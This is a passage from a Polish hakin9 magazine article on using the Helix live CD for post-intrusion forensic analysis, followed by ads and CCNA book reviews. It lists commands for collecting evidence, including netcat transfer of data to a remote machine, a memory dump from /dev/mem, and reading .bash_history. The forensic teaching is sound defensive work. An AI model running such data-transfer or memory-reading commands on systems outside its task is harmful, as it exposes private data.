lejna firma, która produkuje oprogramowa-
nie do przeprowadzania śledztw informa-
tycznych. Cała gama programów EnCase
tej firmy, a także Field Intelligence Model
(który jest dostępny tylko dla organów ści-
gania) są jeszcze droższe, a ich ceny są ne-
gocjowane dla każdej kupującej je instytu-
cji. W przypadku małych firm wydanie du-
żej kwoty pieniędzy na oprogramowanie
w celu wykrycia przestępstwa dokonanego
w ich systemie informatycznym może oka-
zać się zbyt dużym wydatkiem w porównaniu
z ewentualnymi stratami wynikającymi z ta-
kiego przestępstwa. Sytuacja małych firm
oraz osób fizycznych nie jest jednak bezna-
dziejna, ponieważ istnieją podobne aplikacje
na licencji OpenSource. Mało tego, występu-
ją w formie na przykład uruchamianej bezpo-
średnio płyty CD. Przykładami takich zesta-
wów narzędzi są Snarl – bootowalny system
FreeBSD, INSERT czy F.I.R.E., opisywany
w marcowym numerze hakin9 w roku 2004.
W tym artykule chciałbym przybliżyć dzie-
ło firmy E-fense, jakim jest Helix. To system,
który jest używany przez liczne centra szko-
leniowe kształcące specjalistów w dziedzi-
nie informatyki śledczej.
Helix – analiza
powłamaniowa
Grzegorz Błoński
stopień trudności
Wszyscy zdajemy sobie sprawę, iż coraz więcej przestępstw ma
miejsce w systemach informatycznych firm, a nawet
w prywatnych komputerach zwykłych obywateli. Z pewnością nie
wszyscy są świadomi faktu, że można takie przestępstwo wykryć
i zabezpieczyć ślady po incydencie w taki sposób, aby były
ważnym dowodem.
Z artykułu dowiesz się
• poznasz darmowe narzędzia do analizy powła-
maniowej,
• poznasz schemat działania podczas analizy
powłamaniowej.
Co powinieneś wiedzieć
• znać Linuksa,
• umieć pracować w konsoli tekstowej Linuksa.
Helix – analiza powłamaniowa
hakin9 Nr 2/2008
www.hakin9.org
65
Helix LiveCD – opis
Dystrybucja Helix to zestaw na-
rzędzi przydatnych w analizie
powłamaniowej systemów informa-
tycznych, a także podczas prowa-
dzenia dochodzenia w przestęp-
stwach komputerowych. Jej przy-
datność jest bardzo duża, a atutem
Heliksa jest fakt, iż jest on całko-
wicie darmowy. To bardzo ważne,
bo choć narzędzia komercyjne są
w niektórych przypadkach nie-
co lepsze, to możliwość używa-
nia Heliksa za darmo pozwala ob-
niżyć koszty, jakie pociąga za so-
bą konieczność używania tego typu
narzędzi. Wymagania sprzętowe
dla Heliksa nie są zbyt wygórowa-
ne. Do pracy w konsoli wystarczy
procesor x86 oraz 48 MB pamię-
ci operacyjnej. Aby móc korzystać
z interfejsu graficznego bazujące-
go na menadżerze okien XFWM
z graficznym pulpitem XFCE, w któ-
ry jest wyposażony Helix, potrzeba
już co najmniej procesora Pentium
i 128 MB pamięci RAM. Uruchomio-
ny z płyty CD system pracuje płyn-
nie już przy 256 MB RAM i proce-
sorze Pentium II 300 MHz. Istnie-
je możliwość zapisania konfiguracji
systemu na zewnętrznym nośniku
(Floppy, USB, CD), a także opcja
utworzenia dyskietek startowych.
Oczywiście można zainstalować
Heliksa na dysku twardym wyko-
rzystując skrypt knx2hd, ale wersja
bootowalna z płyty CD jest o wiele
bardziej elastyczna w użytkowaniu.
Oprócz możliwości pracy z pozio-
mu Heliksa, na płycie znajdują się
pliki umożliwiające uruchamianie
narzędzi w systemie Solaris x86.
Dostępna jest też możliwość pra-
cy w środowisku Windows. Po wło-
żeniu płyty do napędu automatycz-
nie startuje menu Heliksa, co widać
na Rysunku 1.
Po wybraniu i zaakceptowaniu
języka (niestety, nie ma polskie-
go) w oknie ukazuje się menu wy-
boru narzędzi, z których chcemy
korzystać. Bardzo dobrym przy-
kładem wykorzystania Heliksa
w systemie Windows jest potrze-
ba wykonania obrazu zawartości
pamięci operacyjnej w przypad-
ku, gdy podejrzewamy, iż system
został zaatakowany przez hakera.
Restart komputera i uruchomienie
Heliksa spowodowałoby utracenie
zawartości
pamięci
operacyj-
nej jednak wystartowanie Helik-
sa w środowisku Windows pozwo-
li na przygotowanie nie tylko ob-
razu zawartości pamięci operacyj-
nej, ale także wszystkich partycji
dyskowych. Na wykonanych obra-
zach można bez większego trudu
prowadzić analizę oraz szukać śla-
dów pozostawionych przez hakera.
W skład narzędzi dostępnych
w darmowej dystrybucji Helix wcho-
dzą typowe narzędzia do prowadze-
nia dochodzenia, między innymi ta-
kie, jak SleuthKit wraz z webowym
interfejsem Autopsy, Linen, AIR czy
pyFLAG oraz wiele innych przydat-
nych aplikacji. Postaram się przy-
bliżyć Czytelnikom możliwości tego
zestawu narzędzi i jednocześnie za-
chęcić do jego używania.
Mimo tego że przeznaczenie
Heliksa jest raczej jednoznacz-
nie określone przez autorów, uwa-
żam, że doskonale nadaje się on
nawet do takich prac jak chociaż-
by wykonanie kopii zapasowej za-
wartości dysku czy jako płyta ra-
tunkowa w przypadku problemów
z systemem. Helix zawiera bo-
wiem między innymi narzędzie do
przeglądania rejestru Windows,
a także inne aplikacje możliwe do
wykorzystania zarówno w syste-
mach linuksowych, jak i window-
sowych. Aby dokonać przeszu-
kania zawartości dysku w nadziei
znalezienia śladów przestępstwa,
nie narażając jednocześnie bada-
nego dysku na dokonanie jakiej-
kolwiek zmiany w jego zawartości
podczas takich działań, nie operu-
je się na żywym dysku, tylko na je-
go obrazie. Helix jest wyposażo-
ny w narzędzia pozwalające na
wykonanie takich obrazów na ze-
wnętrznych dyskach USB lub Fi-
reWire. Jest także możliwość wy-
konania obrazu dysku na stre-
amerze oraz przy wykorzystaniu
sieci na zdalnym komputerze, co
w niektórych przypadkach może
być bardzo przydatne. Sam Helix
nie montuje automatycznie żad-
nych dysków dostępnych w sys-
Rysunek 1.
Helix uruchamiany z
poziomu Windows
Rysunek 2.
Widok uruchomionego systemu Helix Live
hakin9 Nr 2/2008
www.hakin9.org
Obrona
66
temie, w którym jest uruchamiany
– właśnie ze względu na możliwe
przypadkowe wprowadzenie zmian
w strukturze zawartości dysku.
Aby wykonać obraz dysku,
który później będziemy badać,
musimy skorzystać z narzędzi,
które nam to umożliwią. Do dyspo-
zycji mamy standardowy program
dd działający w konsoli lub też gra-
ficzną nakładkę na to narzędzie
– czyli Adepto.
dd jest doskonałym narzędziem
do wykonania obrazu dysku – wy-
konuje to zadanie dość szybko,
a wynik jest wierną kopią (tak zwa-
nym bitstreamem) tego, co znajdu-
je się faktycznie na dysku; przeno-
si także uszkodzone pliki czy na-
wet błędy systemu plików. Na pły-
cie znajduje się również ulepszo-
na wersja dd: sdd (Specialized
dd), która dzięki nowym algoryt-
mom pracuje znacznie szybciej.
Kolejnym znajdującym się w ze-
stawie narzędzi interfejsem gra-
ficznym dla dd jest AIR. Jego uży-
wanie nie powinno sprawiać kłopo-
tów, ponieważ program jest bardzo
prosty, a jego obsługa – niezwykle
wygodna.
Po wykonaniu obrazu zawarto-
ści badanego dysku możemy przy-
stąpić do analizy jego zawarto-
ści w poszukiwaniu śladów prze-
stępstwa, ukrytych plików czy in-
nych elementów ważnych dla pro-
wadzonego dochodzenia. Jest to
także doskonały moment do ana-
lizy logów systemowych (bez ich
fizycznego naruszania) po ata-
ku wykonanym na dany system
w celu uzyskania maksymalnej ilo-
ści informacji na temat rodzaju ata-
ku, drogi jaką został przeprowadzo-
ny, a także znalezienia ewentual-
nych śladów pozostawionych przez
hakera mogących pomóc w ustale-
niu źródła ataku. W zestawie narzę-
dzi znalazł się także program wy-
mienionej wcześniej firmy produku-
jącej oprogramowanie wykorzysty-
wane przez policje na całym świecie
do wykrywania przestępstw kompu-
terowych Guidance Software o na-
zwie LinEn, służący także do wyko-
nywania obrazu dysku.
Retriever to z kolei narzędzie
pozwalające na wyszukiwanie
i przeglądanie poszczególnych
plików. Program potrafi wyszuki-
wać pliki dokumentów w najbar-
dziej popularnych formatach, pli-
ki graficzne (także w kilku forma-
tach), pliki wideo, a także pliki wia-
domości email. Narzędzie posiada
intuicyjny interfejs i jest wygodne
w użyciu.
Bardzo potężnego kalibru jest
kolejne obecne w Heliksie narzę-
dzie – SleuthKit wraz z graficznym
(Web) interfejsem Autopsy. Pro-
gram potrafi naprawdę dużo – po-
cząwszy od przeszukiwania dys-
ku w poszukiwaniu skasowanych
plików, po odnajdywanie danych
ukrytych w obszarach ADS (Al-
ternate Data Streams), które wy-
stępują w systemie plików NTFS.
To imponująca aplikacja, warta po-
znania i używania.
Analiza powłamaniowa to waż-
ny element obrony przed kolejnymi
Rysunek 3.
Uruchomiony Adepto – GUI dla DiskDump
Rysunek 4.
Okno programu AIR
Helix – analiza powłamaniowa
hakin9 Nr 2/2008
www.hakin9.org
67
atakami. Tu przychodzi nam z po-
mocą program pyFLAG – Foren-
sic and Log Analysis Gui. Posia-
da również graficzny (Web) inter-
fejs podobnie jak Autopsy, jednak
wyróżnia się na korzyść dodatko-
wymi funkcjami, których nie ma to
pierwsze narzędzie. Są to przeglą-
danie logów systemu oraz analiza
zawartości rejestru systemowego
Windows. Program posiada rów-
nież funkcje przeszukiwania śla-
dów ataku w plikach aplikacji sie-
ciowych, a także w plikach prze-
chwyconych pakietów TCP/IP.
Do przeglądania rejestru syste-
mu Windows jest jeszcze na pły-
cie program Regviewer oraz przy-
datny do analizy zawartości plików
edytor szesnastkowy Ghex.
Schemat działania
analizy przestępstwa
Przykładowy schemat działania
podczas zbierania dowodów prze-
stępstwa obrazuje podstawowe
czynności, które należy wykonać w
celu sprawnego i skutecznego zna-
lezienia i zabezpieczenia we wła-
ściwy sposób śladów działalno-
ści hakera w skompromitowanym
systemie. Poszczególne czynności
oczywiście wykonuje się w miarę
potrzeb i podejrzeń co do rodzaju
ataku oraz potencjalnych szans na
znalezienie dowodów, niemniej jed-
nak warto zrobić kilka kroków wię-
cej i mieć pewność, że uczyniło się
wszystko, aby zdobyć jak najwięcej
informacji. Schemat opiera się na
standardowej metodologii składa-
jącej się z czterech etapów: iden-
tyfikacji, zbierania danych, analizy
i prezentacji wyników.
Inspekcja online
W pierwszym etapie zajmujemy się
identyfikowaniem systemu z jakim
będziemy pracować, zbieramy in-
formacje na temat rodzaju dysków,
wielkości partycji, systemów plików
wykorzystanych w systemie – po
to, aby umieć określić, jakiego ro-
dzaju nośnika musimy użyć do wy-
konania obrazu zawartości dysków
na późniejszym etapie. W związku
z tym, że nie można ufać żadnemu
programowi na komputerze, na któ-
rym istnieje podejrzenie kompromi-
tacji (ponieważ może na nim praco-
wać jakiś program typu koń trojański
lub inny, który może powodować nie-
prawidłowe działanie aplikacji), nale-
ży używać wyłącznie oprogramowa-
nia na nośnikach takich, jak dyskiet-
ka czy płyta CD/DVD. W trakcie te-
go etapu prac warto wykonać poniż-
sze czynności:
• wykonać kopie danych na no-
śniku zewnętrznym w celu dal-
szej analizy programami Adepto,
Air,LinEn lub używając polece-
nia kopiowania z przełącznikiem
p dla zachowania atrybutów pliku
oraz właściciela i grupy:
cp -rp katalog_źródłowy katalog_
docelowy
• lub na komputerze zdalnym uży-
wając polecenia
netcat
:
komputer docelowy:
nc -p 1234 -l
> plik _ docelowy
Rysunek 5.
LinEn przed wykonaniem obrazu zawartości dysku
Rysunek 6.
Retriever w pełnej krasie
hakin9 Nr 2/2008
www.hakin9.org
Obrona
68
komputer źródłowy:
cat data |nc
-w 3 komputer _ docelowy 1234
• lub wykonać obraz dysku/partycji
używając polecenia
dd
:
dd if=/dev/dysk _ źródłowy of=/
dev/dysk _ docelowy
• wykonać obraz zawartości pa-
mięci operacyjnej w celu jak
wyżej używając na przykład po-
lecenia
dd
:
dd if= /dev/mem of=plik _ z _
zawartością _ pamięci
• zbadać uruchomione procesy
przy pomocy na przykład polece-
nia
ps
:
ps
auxeww
, które wyświetli
wszystkie uruchomione proce-
sy (uwaga – może to być bardzo
długa lista procesów, w zależ-
ności od ilości uruchomionych
programów/usług)
• przejrzeć adresy uruchomionych
w pamięci procesów – także przy
pomocy komendy
ps
:
ps -ealf
• przejrzeć otwarte pliki przy
użyciu na przykład polecenia
lsof
:
lsof
bez parametrów – dla wy-
świetlenia plików otwartych
przez wszystkie działające pro-
cesy
lsof -s numer _ pid _ procesu
– dla wyświetlenia plików kon-
kretnego procesu;
• wyświetlić wywołania bibliotek
dla konkretnego procesu pole-
ceniem
ltrace
:
ltrace -p numer _ pid _ procesu
• wyświetlić wywołania systemowe
poleceniem
strace
:
strace -p numer _ pid _ procesu
• zebrać informacje o połącze-
niach sieciowych z użyciem
netstat
:
netstat -a
• sprawdzić konkretny host, któ-
rego adres IP wydaje się podej-
rzany – przy pomocy narzędzia
traceroute
:
traceroute adres _ IP
• znalezienie adresu sprzętowego
MAC z użyciem polecenia
arp
:
• arp adres _ ip
– dla wyświe-
tlenia adresu MAC dla kon-
kretnego adresu IP;
• arp -a
– dla wyświetle-
nia MAC dla wszystkich adre-
sów znajdujących się w tabli-
cy arp;
• zrzut do pliku ruchu sieciowego
– przy pomocy tcpdump lub inne-
go narzędzia:
tcpdump -w zrzucany _ plik
• wyświetlenie pliku historii konso-
li poleceniem cat w celu przejrze-
nia ostatnio wykonywanych ope-
racji:
cat .bash _ history
Na tym etapie możemy zakończyć
pracę z aktywnym połączeniem
Rysunek 7.
Autopsy – webowy interfejs użytkownika
Rysunek 8.
pyFLAG przed skanowaniem systemu plików
Helix – analiza powłamaniowa
hakin9 Nr 2/2008
www.hakin9.org
69
z siecią. Następne kroki należy wy-
konywać bez połączenia z siecią.
Inspekcja offline
W tej części prac odłączamy podej-
rzany o skompromitowanie kompu-
ter od sieci i dokonujemy sprawdze-
nia systemu pod kątem pozostawio-
nych śladów, których nie zatarł ata-
kujący. Uruchamiamy w tym celu
komputer używając płyty z syste-
mem Helix. System po uruchomieniu
nie montuje dysków, które obecne są
w komputerze (i tak ma być), musimy
je ręcznie zamontować w trybie tyl-
ko do odczytu, aby nie zmienić przez
przypadek zawartości znajdujących
się na nich plików. Po zamontowa-
niu dysków dokonujemy analizy ich
zawartości przy użyciu narzędzi do-
stępnych w Heliksie.
Wykonujemy następujące czyn-
ności:
• przeglądamy logi systemowe
z naciskiem na wymienione:
•
/var/log/messages
•
/var/log/secure
•
/var/log/maillog
•
/var/log/spooler
•
/var/log/boot.log
• sprawdzamy system pod ką-
tem obecności wirusów, na pły-
cie Heliksa mamy do dyspozy-
cji programy antywirusowe takie
jak ClamAV oraz F-Prot,
• sprawdzamy system pod kątem
obecności programów typu root-
kit dostępnymi na płycie narzę-
dziami służącymi do tego celu
– czyli chkrootkit lub rkhunter,
• poszukujemy
podejrzanych
nazw katalogów i plików, w któ-
rych atakujący mógł pozostawić
po sobie ślady.
Poszukiwanie, odzyskiwanie
i analiza usuniętych plików
Haker po dokonaniu ataku stara się
zacierać maksymalną ilość śladów
swojej obecności, co z jego punk-
tu widzenia jest oczywiste – ma go
uchronić przed odpowiedzialnością
za popełniony czyn. Jednak nie każ-
dy haker usuwa ślady w taki sposób,
że nie można ich później znaleźć al-
bo odtworzyć.
Ekran 9.
Ghex – edytor szesnastkowy
Listing 1.
Fragment raportu z programu Autopsy na temat znalezionego
pliku, skasowanego przez intruza
Autopsy
hex
Fragment
Report
GENERAL
INFORMATION
Fragment
:
1975303
Fragment
Size
:
1024
Pointed
to
by
Inode
:
247490
Pointed
to
by
files
:
MD5
of
raw
Fragment
:
50
eafe45b193997dcca00dadae19ee6d
MD5
of
hex
output
:
2
ee4dff15a6f3254519c448e5867f5d5
Image
:
'/home/knoppix/pyflag/evidence/sledztwo1/host1/images/hda5-img.dd.000'
Offset
:
Full
image
File
System
Type
:
ext
Date
Generated
:
Wed
Nov
14
21
:
32
:
42
2007
Investigator
:
unknown
CONTENT
0
2
f766172
2
f6c6f67
2
f746f72
2
f2a2e6c
/
var
/l
og
/t
or
/*
.
l
16
6
f67207b
0
a202020
20202020
20646169
og
{ . dai
32 6c790a20 20202020 20202072 6f746174 ly. r otat
48 6520350a 20202020 20202020 636f6d70 e 5. comp
64 72657373 0a202020 20202020 2064656c ress . del
80 6179636f 6d707265 73730a20 20202020 ayco mpre ss.
96 2020206d 69737369 6e676f6b 0a202020 m issi ngok .
112 20202020 206e6f74 6966656d 7074790a not ifem pty.
128 20202020 20202020 73686172 65647363 shar edsc
144 72697074 730a2020 20202020 2020706f ript s. po
160 7374726f 74617465 0a202020 20202020 stro tate .
176 20202020 20202020 20736572 76696365 ser vice
192 20746f72 2072656c 6f616420 3e202f64 tor rel oad > /d
208 65762f6e 756c6c0a 20202020 20202020 ev/n ull.
224 656e6473 63726970 740a7d0a 00000000 ends crip t.}
. ....
240
00000000
00000000
00000000
00000000
.... .... .... ....
.
.
.
1008
00000000
00000000
00000000
00000000
VERSION
INFORMATION
Autopsy
Version
:
2.08
The
Sleuth
Kit
Version
:
2.09
hakin9 Nr 2/2008
www.hakin9.org
Obrona
70
I tu jest pole do popisu dla specjali-
sty zajmującego się analizą powłama-
niową, który może spróbować wykryć
pozostawione ślady lub odzyskać pliki,
które zostały usunięte, a mogą zawie-
rać jakiekolwiek ślady przestępstwa.
Do poszukiwania plików można
użyć SleuthKit w konsoli, ale zde-
cydowanie wygodniej i sprawniej
będzie to robić korzystając z gra-
ficznego interfejsu Autopsy.
Do odzyskiwania danych z par-
tycji ext2 w przypadku Linuksa mo-
żemy wykorzystać narzędzie e2re-
cover, pracuje ono w konsoli, a jego
obsługa nie jest trudna, więc każdy
powinien sobie poradzić. Co zrobić
z odzyskanymi plikami? Oczywiście
przeanalizować pod kątem zawar-
tych w nich ewentualnych informacji,
które chciał usunąć haker zacierając
ślady po swojej działalności.
Hakerzy zacierają ślady w róż-
ny sposób, wykorzystują do tego
celu na przykład rootkity, zmienia-
ją sumy kontrolne plików, w których
ukrywają rootkity, kasują zawartość
logów systemowych, używają do ata-
ku kont użytkowników, których hasła
dostępu udało im się uzyskać przed
atakiem przy pomocy snifferów – tak,
aby skierować podejrzenie na właści-
cieli tych kont.
Zapis materiału dowodowego
Sam fakt wykonania obrazu dysku
czy partycji, już przed przystąpie-
niem do analizy danych jest zapew-
nieniem, iż taki obraz i znalezione
w nim ślady ataku mogą stanowić
dowód w sprawie sądowej. W zapi-
sanym obrazie znajdują się bowiem
informacje na temat dat utworzenia
i modyfikacji plików, praw własno-
ści i cała masa innych informacji,
które nie zostaną zmienione, jeśli
będziemy z takim obrazem syste-
mu pracować podczas analizy tyl-
ko i wyłącznie w trybie do odczytu.
Znalezione informacje, odpowied-
nio spreparowane w postaci plików
czy też wydruków, mogą stanowić
materiał, który można przedsta-
wić na sali sądowej – a obraz dys-
ku w niezmienionej formie może
być przekazany biegłym sądowym
w celu weryfikacji.
W treści raportu przedstawionego
na Listingu 1. zawarte są między inny-
mi informacje na temat rozmiaru pliku
i jego położenia na dysku, przedsta-
wiona jest także jego zawartość w po-
staci szesnastkowej. Jest to tylko frag-
ment dotyczący jednego pliku – cały
raport z programu Autopsy może być
bardzo obszerny, więc trudno byłoby
go tu przedstawić.
Oczywiście istnieje wiele in-
nych, bardziej skomplikowanych
schematów działania podczas ana-
lizy powłamaniowej, które są wy-
korzystywane przez specjalistycz-
ne firmy zajmujące się tymi zagad-
nieniami, lecz celem artykułu by-
ło przedstawienie możliwie prostej
metodologii nadającej się do wy-
korzystania przez każdego w jego
własnym komputerze.
Podsumowanie
Jak można się przekonać po prze-
czytaniu tego artykułu, analiza po-
włamaniowa – mimo tego, iż jest
to zadanie bardzo trudne, czaso-
chłonne i wymagające dużej wie-
dzy oraz cierpliwości podczas jego
wykonywania – nie musi być nie-
możliwa do wykonania.
Oczywiście przebyte szkole-
nia w tej materii czy też wieloletnie
doświadczenie na pewno pozwala
na w pełni profesjonalne wykona-
nie takiej analizy, a certyfikaty po-
twierdzające wiedzę osoby ją wy-
konującej zwiększają szanse, iż jej
wyniki zostaną dopuszczone jako
materiał dowodowy.
Jednak w przypadku osób, któ-
rym zależy na zdobyciu wiedzy w ta-
kim zakresie, aby móc wykonać to
zadanie na własne potrzeby – z chę-
ci zabezpieczenia się przed kolejny-
mi atakami lub w celu poznania i zro-
zumienia metod ataku wykorzysty-
wanych przez hakerów – informacje,
które zawarłem w tym artykule, po-
winny być pomocne.
Należy to robić w trybie tylko
do odczytu. Wykorzystuję do te-
go celu komputer, do którego pod-
łączam dysk z zapisanym wszyst-
kim tym, co robiłem w poprzednim
etapie. Uruchamiam na tym kom-
puterze Heliksa, który po załado-
waniu daje mi możliwość korzysta-
nia z jego programów.
W związku z tym, że Helix sam
nie montuje żadnych dysków ze
względów bezpieczeństwa, musi-
my teraz sami zamontować dysk
z zebranym materiałem do anali-
zy. Wykonujemy to na przykład po-
leceniem:
mount /dev/nazwa _ urządzenia /
ścieżka _ do _ zamontowania ro
gdzie parametr
ro
określa tryb
montowania tylko do odczytu. l
O autorze
Autor, Grzegorz Błoński, z wykształcenia jest informatykiem, certyfikowanym
specjalistą IBM. Pracuje w dużej firmie o zasięgu światowym. Zajmuje się ad-
ministracją i bezpieczeństwem sieciowym. Należy do międzynarodowych or-
ganizacji ISOC oraz ISACA zajmujących się szeroko pojętym bezpieczeń-
stwem IT. Kontakt z autorem: mancymonek@mancymonek.pl
W Sieci
• www.e-fense.com,
• www.guidancesoftware.com,
• www.forensictools.pl,
• http://www.porcupine.org/forensics,
• http://computer-forensics.safemode.org,
• http://www.cftt.nist.gov,
• http://www.mediarecovery.pl,
• http://www.opensourceforensics.org.
CCNS
Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.
Prenumerata Pro
Media
Systems
Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.
TTS Company Sp. z o.o.
Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym
klientem lub dostawcą.
Zepter IT
Zepter IT to dynamicznie rozwijają-
ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.
Petrosoft
Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.
www.OprogramowanieKomputerowe.pl
www.ccns.pl
38-200 Jasło, ul. 3 Maja 101
Biuro: (13) 44 66 666
biuro@petrosoft.pl
www.zepterit.com
kontakt do nas:
katarzyna.juszczynska@software.com.pl
robert.gontarski@software.com.pl
tel. : 22 427 36 77
Enigma SOI
Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.
• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie
na serwerach i stacjach klienckich
• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki
www.enigma.com.pl
Kei.pl
Kei.pl działa na rynku usług hostin-
gowych od 2000 roku. Do naszych
zadowolonych Klientów z dumą
możemy zaliczyć wiele przedsiębiorstw
sektora MSP, instytucji oraz osób pry-
watnych. W ofercie Kei.pl znajdują się
pakiety hostingowe, a także usługi dla
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.
http://www.kei.pl
hakin9 Nr 2/2008
www.hakin9.org
72
Księgozbiór
Tytuł: CCNA semestr 1 i 2
Autor: Wendell Odom, Tom Knott / Wendell Odom, Rick McDonald
Wydawca: PWN
Rok wydania w Polsce: 2007
Liczba stron: 680/524
Najnowszy zestaw szkoleniowy przygotowujący do
zdania egzaminu CCNA składa się z czterech osobnych
książek, odpowiadających czterem semestrom Akade-
mii Cisco.
Pierwsza pozycja – otwierająca kurs – zawiera
11 rozdziałów. Rozdziały są bardzo dobrze podzielone
na grupy tematów ściśle ze sobą powiązanych. Każdy
z nich posiada logiczną strukturę, dającą się szybko
opanować i umożliwiającą intuicyjne poruszanie się
po treści. Rozdział zaczyna się od wstępu, w którym
możemy się zapoznać z jego celami, dowiadując się,
co powinniśmy mieć opanowane po przeczytaniu tej
części książki.
Dalej następuje krótki skorowidz ważnych terminów
występujących w danym rozdziale. Sama treść jest
podzielona na zwięzłe, logicznie ułożone bloki tekstu,
w treści których jest wiele zdjęć i diagramów wyjaśnia-
jących przejrzyście opisywany temat. Co jakiś czas
można napotkać na umieszczone w ramkach istot-
ne uwagi, które podpowiadają, jak w praktyce stoso-
wać omawiane zagadnienie. Równie istotne dla prosto-
ty nauki są – omówione krok po kroku – sposoby konfi-
guracji urządzeń sieciowych.
Każdy rozdział jest zakończony rzeczowym podsu-
mowaniem. Po zapoznaniu się z nim możemy dodat-
kowo sprawdzić poziom opanowania danej partii mate-
riału dzięki pytaniom kontrolnym i zadaniom praktycz-
nym. Pytania mają charakter jednokrotnego bądź wie-
lokrotnego wyboru – wszystko rodem z elektronicznej
wersji Cisco Networking Academy utrzymywanej przez
Cisco.
Różnica względem poprzedniego wydania jest
bardzo zauważalna. Rozdziały są zwięzłe i konkret-
ne, bez zbędnego lania wody, co nużyło w poprzednim
wydaniu tej serii. Autorom tym razem udało się stwo-
rzyć książkę, która bardzo dobrze wyjaśnia szereg
podstawowych zagadnień związanych z sieciami.
Zakończenie książki stanowią odpowiedzi oraz
wyjaśnienia pytań kontrolnych i zadań praktycznych.
W załączonych dodatkach znajdują się: tabela konwer-
sji wartości dziesiętnych na binarne, ćwiczenia dodat-
kowe – uzupełniające wiedzę zawartą w książce oraz
dość obszerny słowniczek wyjaśniający techniczne
pojęcia występujące we wszystkich rozdziałach.
Do książki dołączona jest płyta CD, która stano-
wi idealne jej uzupełnienie. Możemy na niej znaleźć
m. in.: symulator Packet Tracer 3.2 z szeregiem ćwi-
czeń do wykonania, interaktywne ćwiczenia systema-
tyzujące i sprawdzające naszą wiedzę oraz dodatkowe
materiały, uzupełniające tematy poruszane w książce.
W parze z poprawą merytoryczną, to właśnie rezygna-
cja z grubości książki na rzecz dodatkowych materia-
łów elektronicznych jest znaczącym atutem tego wyda-
nia, gdyż czytelnik może łatwo odróżnić i wyselekcjo-
nować materiał obowiązkowy – konieczny do zdania
CCNA – od treści poszerzających jego wiedzę.
W porównaniu do poprzednich wydań serii ksią-
żek przygotowujących do zdania egzaminu CCNA,
należy odnotować dużą poprawę zarówno pod wzglę-
dem merytorycznym, jak i pod względem przekładu
na język polski, który był dotąd piętą achillesową tych
książek.
Wydawnictwo polskie również częściej, niż to miało
miejsce we wcześniejszych wydaniach, przytacza
angielskie terminy, aby czytelnik, gdy się z nimi spotka
na egzaminie, mógł sobie bez problemu poradzić
z obcojęzycznym tekstem.
Pierwsza część książki zawiera gruntowne podło-
że dla dalszego zrozumienia zagadnień związanych
z działaniem sieci komputerowych oraz sprzętu, który
je tworzy. Dość obszernie omówione zostały technolo-
gie sieciowe stosowane w większości sieci kompute-
rowych oraz media transmisyjne. Ta pozycja przezna-
czona jest raczej dla osób nie mających pojęcia o sie-
ciach lub pragnących przypomnieć sobie absolutne ich
podstawy.
Druga część kursu zawiera niewielkie dokończenie
teorii o sieciach – rozszerzenie wiadomości o działaniu
protokołu TCP/IP oraz omówienie protokołów routin-
gu. Reszta to już tematy związane z produktami firmy
Cisco: działanie routerów Cisco, podstawowa konfi-
guracja, proste operacje i rozwiązywanie problemów
z Cisco IOS oraz wprowadzenie do list kontroli dostę-
pu (ACL).
Jan Niedźwiedź
Podziękowania
Specjalne podziękowania dla Wydawnictwa Naukowego
PWN za udostępnienie redakcji książek do recenzji.
Kontakt: www.pwn.pl
hakin9 Nr 2/2008
73
Tytuł:
CCNA semestr 3 i 4
Autor: Wayne Lewis/Allan Reid
Wydawca: PWN
Rok wydania w Polsce: 2007
Liczba stron: 348 / 292
Te dwie książki to kontynuacja kursu, który ma przygotować
do zdania certyfikatu CCNA. Układ treści nie zmienił się
w porównaniu z pierwszą i drugą częścią serii. Jak poprzed-
nio, każdy rozdział składa się z wprowadzenia (cele, ważne
terminy), omówienia tematu, podsumowania, pytań kontro-
lnych oraz zadań praktycznych. Również i te części zosta-
ły okraszone sporą ilością ilustracji do omawianych tema-
tów, a także pewną ilością scenariuszy, w których możemy
zobaczyć jak to wszystko działa. W każdej chwili możemy
sięgnąć do obszernego słowniczka oraz sprawdzić odpo-
wiedzi do testów na końcu książki.
W części trzeciej opisane zostały następujące zagad-
nienia: routing bezklasowy, jednoobszarowy OSPF,
EIGRP, postawy konfiguracji przełączników Catalyst
wraz z STP, sieci VLAN oraz VTP.
Natomiast w czwartej części omówiono tematy doty-
czące sieci WAN. Na początek opisane zostało ska-
lowanie adresów IP. Kolejny rozdział przeznaczony
jest na omówienie pokrótce szeregu technologii WAN,
m. in. ISDN, X.25, Frame Relay, ATM, DSL. Po nich – już
obszerniej – opisane zostały PPP, ISDN, DDR i ponow-
nie Frame Relay. Książkę kończy rozdział wprowadzają-
cy do zarządzania siecią, jednak ten ostatni akurat powi-
nien być zawarty we wcześniejszych częściach książki.
Materiał zamieszczony w komplecie czterech książek
prawie w całości pokrywa się z tym omawianym na kursach
